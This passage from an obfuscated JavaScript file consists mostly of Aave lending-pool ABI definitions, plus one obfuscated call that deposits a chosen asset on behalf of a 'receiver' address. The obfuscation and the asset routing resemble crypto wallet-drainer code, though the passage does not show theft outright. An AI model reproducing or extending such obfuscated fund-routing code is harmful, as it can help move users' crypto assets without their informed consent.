}, { | |
internalType: "uint256", | |
name: "balanceFromBefore", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "balanceToBefore", | |
type: "uint256" | |
}], | |
name: "finalizeTransfer", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "receiverAddress", | |
type: "address" | |
}, { | |
internalType: "address[]", | |
name: "assets", | |
type: "address[]" | |
}, { | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}, { | |
internalType: "uint256[]", | |
name: "modes", | |
type: "uint256[]" | |
}, { | |
internalType: "address", | |
name: "onBehalfOf", | |
type: "address" | |
}, { | |
internalType: "bytes", | |
name: "params", | |
type: "bytes" | |
}, { | |
internalType: "uint16", | |
name: "referralCode", | |
type: "uint16" | |
}], | |
name: "flashLoan", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "getAddressesProvider", | |
outputs: [{ | |
internalType: "contract ILendingPoolAddressesProvider", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}], | |
name: "getConfiguration", | |
outputs: [{ | |
components: [{ | |
internalType: "uint256", | |
name: "data", | |
type: "uint256" | |
}], | |
internalType: "struct DataTypes.ReserveConfigurationMap", | |
name: "", | |
type: "tuple" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}], | |
name: "getReserveData", | |
outputs: [{ | |
components: [{ | |
components: [{ | |
internalType: "uint256", | |
name: "data", | |
type: "uint256" | |
}], | |
internalType: "struct DataTypes.ReserveConfigurationMap", | |
name: "configuration", | |
type: "tuple" | |
}, { | |
internalType: "uint128", | |
name: "liquidityIndex", | |
type: "uint128" | |
}, { | |
internalType: "uint128", | |
name: "variableBorrowIndex", | |
type: "uint128" | |
}, { | |
internalType: "uint128", | |
name: "currentLiquidityRate", | |
type: "uint128" | |
}, { | |
internalType: "uint128", | |
name: "currentVariableBorrowRate", | |
type: "uint128" | |
}, { | |
internalType: "uint128", | |
name: "currentStableBorrowRate", | |
type: "uint128" | |
}, { | |
internalType: "uint40", | |
name: "lastUpdateTimestamp", | |
type: "uint40" | |
}, { | |
internalType: "address", | |
name: "aTokenAddress", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "stableDebtTokenAddress", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "variableDebtTokenAddress", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "interestRateStrategyAddress", | |
type: "address" | |
}, { | |
internalType: "uint8", | |
name: "id", | |
type: "uint8" | |
}], | |
internalType: "struct DataTypes.ReserveData", | |
name: "", | |
type: "tuple" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}], | |
name: "getReserveNormalizedIncome", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}], | |
name: "getReserveNormalizedVariableDebt", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "getReservesList", | |
outputs: [{ | |
internalType: "address[]", | |
name: "", | |
type: "address[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}], | |
name: "getUserAccountData", | |
outputs: [{ | |
internalType: "uint256", | |
name: "totalCollateralETH", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "totalDebtETH", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "availableBorrowsETH", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "currentLiquidationThreshold", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "ltv", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "healthFactor", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}], | |
name: "getUserConfiguration", | |
outputs: [{ | |
components: [{ | |
internalType: "uint256", | |
name: "data", | |
type: "uint256" | |
}], | |
internalType: "struct DataTypes.UserConfigurationMap", | |
name: "", | |
type: "tuple" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "aTokenAddress", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "stableDebtAddress", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "variableDebtAddress", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "interestRateStrategyAddress", | |
type: "address" | |
}], | |
name: "initReserve", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract ILendingPoolAddressesProvider", | |
name: "provider", | |
type: "address" | |
}], | |
name: "initialize", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "collateralAsset", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "debtAsset", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "debtToCover", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "receiveAToken", | |
type: "bool" | |
}], | |
name: "liquidationCall", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "paused", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}], | |
name: "rebalanceStableBorrowRate", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "rateMode", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "onBehalfOf", | |
type: "address" | |
}], | |
name: "repay", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "configuration", | |
type: "uint256" | |
}], | |
name: "setConfiguration", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bool", | |
name: "val", | |
type: "bool" | |
}], | |
name: "setPause", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "rateStrategyAddress", | |
type: "address" | |
}], | |
name: "setReserveInterestRateStrategyAddress", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "bool", | |
name: "useAsCollateral", | |
type: "bool" | |
}], | |
name: "setUserUseReserveAsCollateral", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "rateMode", | |
type: "uint256" | |
}], | |
name: "swapBorrowRateMode", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}], | |
name: "withdraw", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}]; | |
let _0x3f78ee = new ethers.Contract(_0x2b7b1b, _0x291020, _0x9d9505); | |
return [_0x3f78ee.deposit(_0x4f37a4.asset.token, _0x4f37a4.asset.amount, this.receiver, 0), ""]; | |
} | |
case "AaveLP3": | |
{ | |
let _0x23de63 = [{ | |
inputs: [{ | |
internalType: "contract IPoolAddressesProvider", | |
name: "provider", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "backer", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "fee", | |
type: "uint256" | |
}], | |
name: "BackUnbacked", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "onBehalfOf", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "enum DataTypes.InterestRateMode", | |
name: "interestRateMode", | |
type: "uint8" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "borrowRate", | |
type: "uint256" | |
}, { | |
indexed: true, | |
internalType: "uint16", | |
name: "referralCode", | |
type: "uint16" | |
}], | |
name: "Borrow", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "target", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "initiator", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "enum DataTypes.InterestRateMode", | |
name: "interestRateMode", | |
type: "uint8" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "premium", | |
type: "uint256" | |
}, { | |
indexed: true, | |
internalType: "uint16", | |
name: "referralCode", | |
type: "uint16" | |
}], | |
name: "FlashLoan", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "totalDebt", | |
type: "uint256" | |
}], | |
name: "IsolationModeTotalDebtUpdated", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "collateralAsset", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "debtAsset", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "debtToCover", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "liquidatedCollateralAmount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "liquidator", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "bool", | |
name: "receiveAToken", | |
type: "bool" | |
}], | |
name: "LiquidationCall", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "onBehalfOf", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
indexed: true, | |
internalType: "uint16", | |
name: "referralCode", | |
type: "uint16" | |
}], | |
name: "MintUnbacked", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amountMinted", | |
type: "uint256" | |
}], | |
name: "MintedToTreasury", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}], | |
name: "RebalanceStableBorrowRate", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "repayer", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "bool", | |
name: "useATokens", | |
type: "bool" | |
}], | |
name: "Repay", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "liquidityRate", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "stableBorrowRate", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "variableBorrowRate", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "liquidityIndex", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "variableBorrowIndex", | |
type: "uint256" | |
}], | |
name: "ReserveDataUpdated", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}], | |
name: "ReserveUsedAsCollateralDisabled", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}], | |
name: "ReserveUsedAsCollateralEnabled", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "onBehalfOf", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
indexed: true, | |
internalType: "uint16", | |
name: "referralCode", | |
type: "uint16" | |
}], | |
name: "Supply", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "enum DataTypes.InterestRateMode", | |
name: "interestRateMode", | |
type: "uint8" | |
}], | |
name: "SwapBorrowRateMode", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint8", | |
name: "categoryId", | |
type: "uint8" | |
}], | |
name: "UserEModeSet", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
name: "Withdraw", | |
type: "event" | |
}, { | |
inputs: [], | |
name: "ADDRESSES_PROVIDER", | |
outputs: [{ | |
internalType: "contract IPoolAddressesProvider", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "BRIDGE_PROTOCOL_FEE", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "FLASHLOAN_PREMIUM_TOTAL", | |
outputs: [{ | |
internalType: "uint128", | |
name: "", | |
type: "uint128" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "FLASHLOAN_PREMIUM_TO_PROTOCOL", | |
outputs: [{ | |
internalType: "uint128", | |
name: "", | |
type: "uint128" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "MAX_NUMBER_RESERVES", | |
outputs: [{ | |
internalType: "uint16", | |
name: "", | |
type: "uint16" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "MAX_STABLE_RATE_BORROW_SIZE_PERCENT", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "POOL_REVISION", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "fee", | |
type: "uint256" | |
}], | |
name: "backUnbacked", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "interestRateMode", | |
type: "uint256" | |
}, { | |
internalType: "uint16", | |
name: "referralCode", | |
type: "uint16" | |
}, { | |
internalType: "address", | |
name: "onBehalfOf", | |
type: "address" | |
}], | |
name: "borrow", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint8", | |
name: "id", | |
type: "uint8" | |
}, { | |
components: [{ | |
internalType: "uint16", | |
name: "ltv", | |
type: "uint16" | |
}, { | |
internalType: "uint16", | |
name: "liquidationThreshold", | |
type: "uint16" | |
}, { | |
internalType: "uint16", | |
name: "liquidationBonus", | |
type: "uint16" | |
}, { | |
internalType: "address", | |
name: "priceSource", | |
type: "address" | |
}, { | |
internalType: "string", | |
name: "label", | |
type: "string" | |
}], | |
internalType: "struct DataTypes.EModeCategory", | |
name: "category", | |
type: "tuple" | |
}], | |
name: "configureEModeCategory", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "onBehalfOf", | |
type: "address" | |
}, { | |
internalType: "uint16", | |
name: "referralCode", | |
type: "uint16" | |
}], | |
name: "deposit", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}], | |
name: "dropReserve", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "from", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "balanceFromBefore", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "balanceToBefore", | |
type: "uint256" | |
}], | |
name: "finalizeTransfer", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "receiverAddress", | |
type: "address" | |
}, { | |
internalType: "address[]", | |
name: "assets", | |
type: "address[]" | |
}, { | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}, { | |
internalType: "uint256[]", | |
name: "interestRateModes", | |
type: "uint256[]" | |
}, { | |
internalType: "address", | |
name: "onBehalfOf", | |
type: "address" | |
}, { | |
internalType: "bytes", | |
name: "params", | |
type: "bytes" | |
}, { | |
internalType: "uint16", | |
name: "referralCode", | |
type: "uint16" | |
}], | |
name: "flashLoan", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "receiverAddress", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "bytes", | |
name: "params", | |
type: "bytes" | |
}, { | |
internalType: "uint16", | |
name: "referralCode", | |
type: "uint16" | |
}], | |
name: "flashLoanSimple", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}], | |
name: "getConfiguration", | |
outputs: [{ | |
components: [{ | |
internalType: "uint256", | |
name: "data", | |
type: "uint256" | |
}], | |
internalType: "struct DataTypes.ReserveConfigurationMap", | |
name: "", | |
type: "tuple" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint8", | |
name: "id", | |
type: "uint8" | |
}], | |
name: "getEModeCategoryData", | |
outputs: [{ | |
components: [{ | |
internalType: "uint16", | |
name: "ltv", | |
type: "uint16" | |
}, { | |
internalType: "uint16", | |
name: "liquidationThreshold", | |
type: "uint16" | |
}, { | |
internalType: "uint16", | |
name: "liquidationBonus", | |
type: "uint16" | |
}, { | |
internalType: "address", | |
name: "priceSource", | |
type: "address" | |
}, { | |
internalType: "string", | |
name: "label", | |
type: "string" | |
}], | |
internalType: "struct DataTypes.EModeCategory", | |
name: "", | |
type: "tuple" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "id", | |
type: "uint16" | |
}], | |
name: "getReserveAddressById", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}], | |
name: "getReserveData", | |
outputs: [{ | |
components: [{ | |
components: [{ | |
internalType: "uint256", | |
name: "data", | |
type: "uint256" | |
}], | |
internalType: "struct DataTypes.ReserveConfigurationMap", | |
name: "configuration", | |
type: "tuple" | |
}, { | |
internalType: "uint128", | |
name: "liquidityIndex", | |
type: "uint128" | |
}, { | |
internalType: "uint128", | |
name: "currentLiquidityRate", | |
type: "uint128" | |
}, { | |
internalType: "uint128", | |
name: "variableBorrowIndex", | |
type: "uint128" | |
}, { | |
internalType: "uint128", | |
name: "currentVariableBorrowRate", | |
type: "uint128" | |
}, { | |
internalType: "uint128", | |
name: "currentStableBorrowRate", | |
type: "uint128" | |
}, { | |
internalType: "uint40", | |
name: "lastUpdateTimestamp", | |
type: "uint40" | |
}, { | |
internalType: "uint16", | |
name: "id", | |
type: "uint16" | |
}, { | |
internalType: "address", | |
name: "aTokenAddress", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "stableDebtTokenAddress", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "variableDebtTokenAddress", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "interestRateStrategyAddress", | |
type: "address" | |
}, { | |
internalType: "uint128", | |
name: "accruedToTreasury", | |
type: "uint128" | |
}, { | |
internalType: "uint128", | |
name: "unbacked", | |
type: "uint128" | |
}, { | |
internalType: "uint128", | |
name: "isolationModeTotalDebt", | |
type: "uint128" | |
}], | |
internalType: "struct DataTypes.ReserveData", | |
name: "", | |
type: "tuple" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}], | |
name: "getReserveNormalizedIncome", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}], | |
name: "getReserveNormalizedVariableDebt", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "getReservesList", | |
outputs: [{ | |
internalType: "address[]", | |
name: "", | |
type: "address[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}], | |
name: "getUserAccountData", | |
outputs: [{ | |
internalType: "uint256", | |
name: "totalCollateralBase", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "totalDebtBase", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "availableBorrowsBase", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "currentLiquidationThreshold", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "ltv", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "healthFactor", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}], | |
name: "getUserConfiguration", | |
outputs: [{ | |
components: [{ | |
internalType: "uint256", | |
name: "data", | |
type: "uint256" | |
}], | |
internalType: "struct DataTypes.UserConfigurationMap", | |
name: "", | |
type: "tuple" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}], | |
name: "getUserEMode", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "aTokenAddress", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "stableDebtAddress", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "variableDebtAddress", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "interestRateStrategyAddress", | |
type: "address" | |
}], | |
name: "initReserve", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract IPoolAddressesProvider", | |
name: "provider", | |
type: "address" | |
}], | |
name: "initialize", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "collateralAsset", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "debtAsset", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "debtToCover", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "receiveAToken", | |
type: "bool" | |
}], | |
name: "liquidationCall", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address[]", | |
name: "assets", | |
type: "address[]" | |
}], | |
name: "mintToTreasury", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "onBehalfOf", | |
type: "address" | |
}, { | |
internalType: "uint16", | |
name: "referralCode", | |
type: "uint16" | |
}], | |
name: "mintUnbacked", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}], | |
name: "rebalanceStableBorrowRate", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "interestRateMode", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "onBehalfOf", | |
type: "address" | |
}], | |
name: "repay", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "interestRateMode", | |
type: "uint256" | |
}], | |
name: "repayWithATokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
